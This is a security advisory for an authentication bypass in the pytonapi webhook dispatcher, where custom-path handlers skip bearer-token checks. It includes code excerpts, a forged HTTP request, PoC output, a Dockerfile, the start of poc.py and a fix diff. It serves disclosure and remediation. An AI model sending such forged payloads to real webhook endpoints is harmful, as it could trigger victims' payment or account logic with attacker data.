GHSA-3fcr-jvgp-7f58 pytonapi has a Webhook Custom Path Authentication Bypass

• PyPI pytonapi: >= 2.0.0, < 2.2.1 → fixed in 2.2.1

Webhook Custom Path Authentication Bypass in pytonapi Summary `TonapiWebhookDispatcher` in pytonapi 2.2.0 fails to validate the `Authorization` header when a webhook handler is registered with the documented `path=` argument. During `setup()`, bearer tokens are stored only under the default suffix paths (e.g., `/hook/account-tx`), but the custom path (e.g., `/hook/custom`) is never added to the token map. When an incoming request arrives at the custom path, `self._tokens.get(path)` returns `None`, causing the `if expected_token is not None` guard to evaluate to `False` and silently skip authentication entirely. An unauthenticated remote attacker can POST arbitrary forged payloads to the custom webhook endpoint and trigger victim-defined handlers with full integrity impact. Details The vulnerability is a fail-open authentication check in `pytonapi/webhook/dispatcher.py`. Token registration (setup) stores tokens only under default suffix paths: ```python dispatcher.py lines 109-112 suffix = self.DEFAULT_SUFFIXES[event_type] local_path = self._path + suffix # e.g., "/hook/account-tx" webhook = await self._client.ensure(f"{self._url}{suffix}") self._tokens[local_path] = webhook.token # custom path is NEVER stored here ``` Handler registration preserves the custom path in the handler tuple: ```python dispatcher.py lines 339, 342 resolved_path = path or self._resolve_path(event_type) # -> "/hook/custom" self._handlers[event_type].append((account_filter, fn, resolved_path)) ``` Path routing (`_build_path_map`) correctly maps the custom path to the event type: ```python dispatcher.py line 182 return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers} -> {"/hook/custom": WebhookEventType.ACCOUNT_TX} ``` Authentication check (fail-open): ```python dispatcher.py lines 286-288 expected_token = self._tokens.get(path) # "/hook/custom" -> None if expected_token is not None and authorization != f"Bearer {expected_token}": raise TONAPIError("Invalid webhook token") # SKIPPED because expected_token is None ``` Because `expected_token` is `None` for any custom path, the condition `expected_token is not None` is always `False`. The `raise` is never reached regardless of what the `Authorization` header contains — or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker's payload is parsed and the victim handler is invoked. The `path=` argument is an officially documented feature (see `docs/webhooks/guide.mdx` lines 140 and 153), meaning any user following the public documentation is vulnerable. PoC Requirements: Python 3.12, pytonapi 2.2.0 installed from source (commit `e46c4a4`). Build and run with Docker: ```bash From the repository root docker build -t vuln001-pytonapi -f vuln-001/Dockerfile . docker run --rm vuln001-pytonapi ``` The Dockerfile installs pytonapi from the local source tree and executes `poc.py`. What the PoC does: 1. Creates a `TonapiWebhookDispatcher` with a custom-path handler (`path="/hook/custom"`). 2. Calls `setup()` — tokens are registered only for `/hook/account-tx`. 3. Case A — calls `process("/hook/custom", forged_payload, authorization=None)`: no `Authorization` header, handler fires. 4. Case B — calls `process("/hook/custom", forged_payload, authorization="Bearer totally-wrong-token")`: wrong token, handler still fires. 5. Case C (control) — same attack against the default path `/hook/account-tx` with no auth: correctly raises `TONAPIError`. 6. Case D (control) — default path with valid token: correctly accepted. Simulated malicious HTTP request routed to the victim dispatcher: ``` POST /hook/custom HTTP/1.1 Host: victim.example Content-Type: application/json No Authorization header {"event_type":"account_tx","account_id":"0:victim","lt":1,"tx_hash":"FORGED_TX_HASH"} ``` Expected output confirming the vulnerability: ``` [dispatcher_a] _tokens map: {'/hook/account-tx': 'real-secret-token-abc123'} Case A: VULNERABLE — handler invoked with NO Authorization header; custom_called=['FORGED_TX_HASH'] Case B: VULNERABLE — handler invoked with WRONG Authorization header; custom_called=['FORGED_TX_HASH'] Case C: CORRECTLY_REJECTED — Invalid webhook token Case D: CORRECTLY_ACCEPTED — default path with valid auth [RESULT] VULNERABILITY CONFIRMED ``` Remediation (patch): ```diff --- a/pytonapi/webhook/dispatcher.py +++ b/pytonapi/webhook/dispatcher.py @@ def _build_path_map(self) -> dict[str, WebhookEventType]: • return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers} + return {path: et for et, handlers in self._handlers.items() for _, _, path in handlers} @@ • suffix = self.DEFAULT_SUFFIXES[event_type] • local_path = self._path + suffix • webhook = await self._client.ensure(f"{self._url}{suffix}") • self._tokens[local_path] = webhook.token + local_paths = sorted({path for _, _, path in handlers}) + for local_path in local_paths: + endpoint = self._endpoint_for_path(local_path) + webhook = await self._client.ensure(endpoint) + self._tokens[local_path] = webhook.token @@ + def _endpoint_for_path(self, path: str) -> str: + parsed = urlparse(self._url) + return parsed._replace(path=path, params="", query="", fragment="").geturl() ``` Impact This is an Improper Authentication vulnerability (CWE-287). Any application that: 1. Uses `TonapiWebhookDispatcher` from pytonapi 2.2.0, and 2. Registers at least one handler using the documented `path=` keyword argument, is fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can: • Forge arbitrary TON blockchain events (e.g., fake `account_tx` notifications). • Trigger victim-defined business logic — payment processing, account state updates, notification dispatch — with attacker-controlled data. • Cause financial or operational harm depending on what the victim handler does. Confidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler. Reproduction artifacts `Dockerfile` ```dockerfile FROM python:3.12-slim WORKDIR /app Copy the repository source code COPY repo/ /app/repo/ Install pytonapi from local source (exact commit under test) RUN pip install --no-cache-dir /app/repo/ Copy the proof-of-concept script COPY vuln-001/poc.py /app/poc.py Run the PoC by default CMD ["python3", "/app/poc.py"] ``` `poc.py` ```python """ PoC for VULN-001: Webhook custom path authentication bypass =========================================================== CVE candidate: CWE-287 — Improper Authentication Affected: pytonapi 2.2.0 (commit e46c4a4) File: pytonapi/webhook/dispatcher.py Root cause ---------- When a handler is registered with the documented `path=` argument: @dispatcher.account_tx(path="/hook/custom") async def on_tx(event): ... setup() stores the bearer token ONLY for the default-suffix path: local_path = self._path + suffix # -> "/hook/account-tx" self._tokens[local_path] = webhook.token # line 112 The custom path "/hook/custom" is never added to _tokens. _build_path_map() correctly routes "/hook/custom" -> ACCOUNT_TX because it reads handlers[0][2] which IS the custom path when the custom-path handler is the only one registered. In process(): expected_token = self._tokens.get(path) # line 286 -> None (missing) if expected_token is not None and ...: # line 287 -> False (SKIP) raise TONAPIError("Invalid webhook token") Because expected_token is None the auth check is bypassed entirely (fail-open). An attacker can POST any forged payload to the custom path without…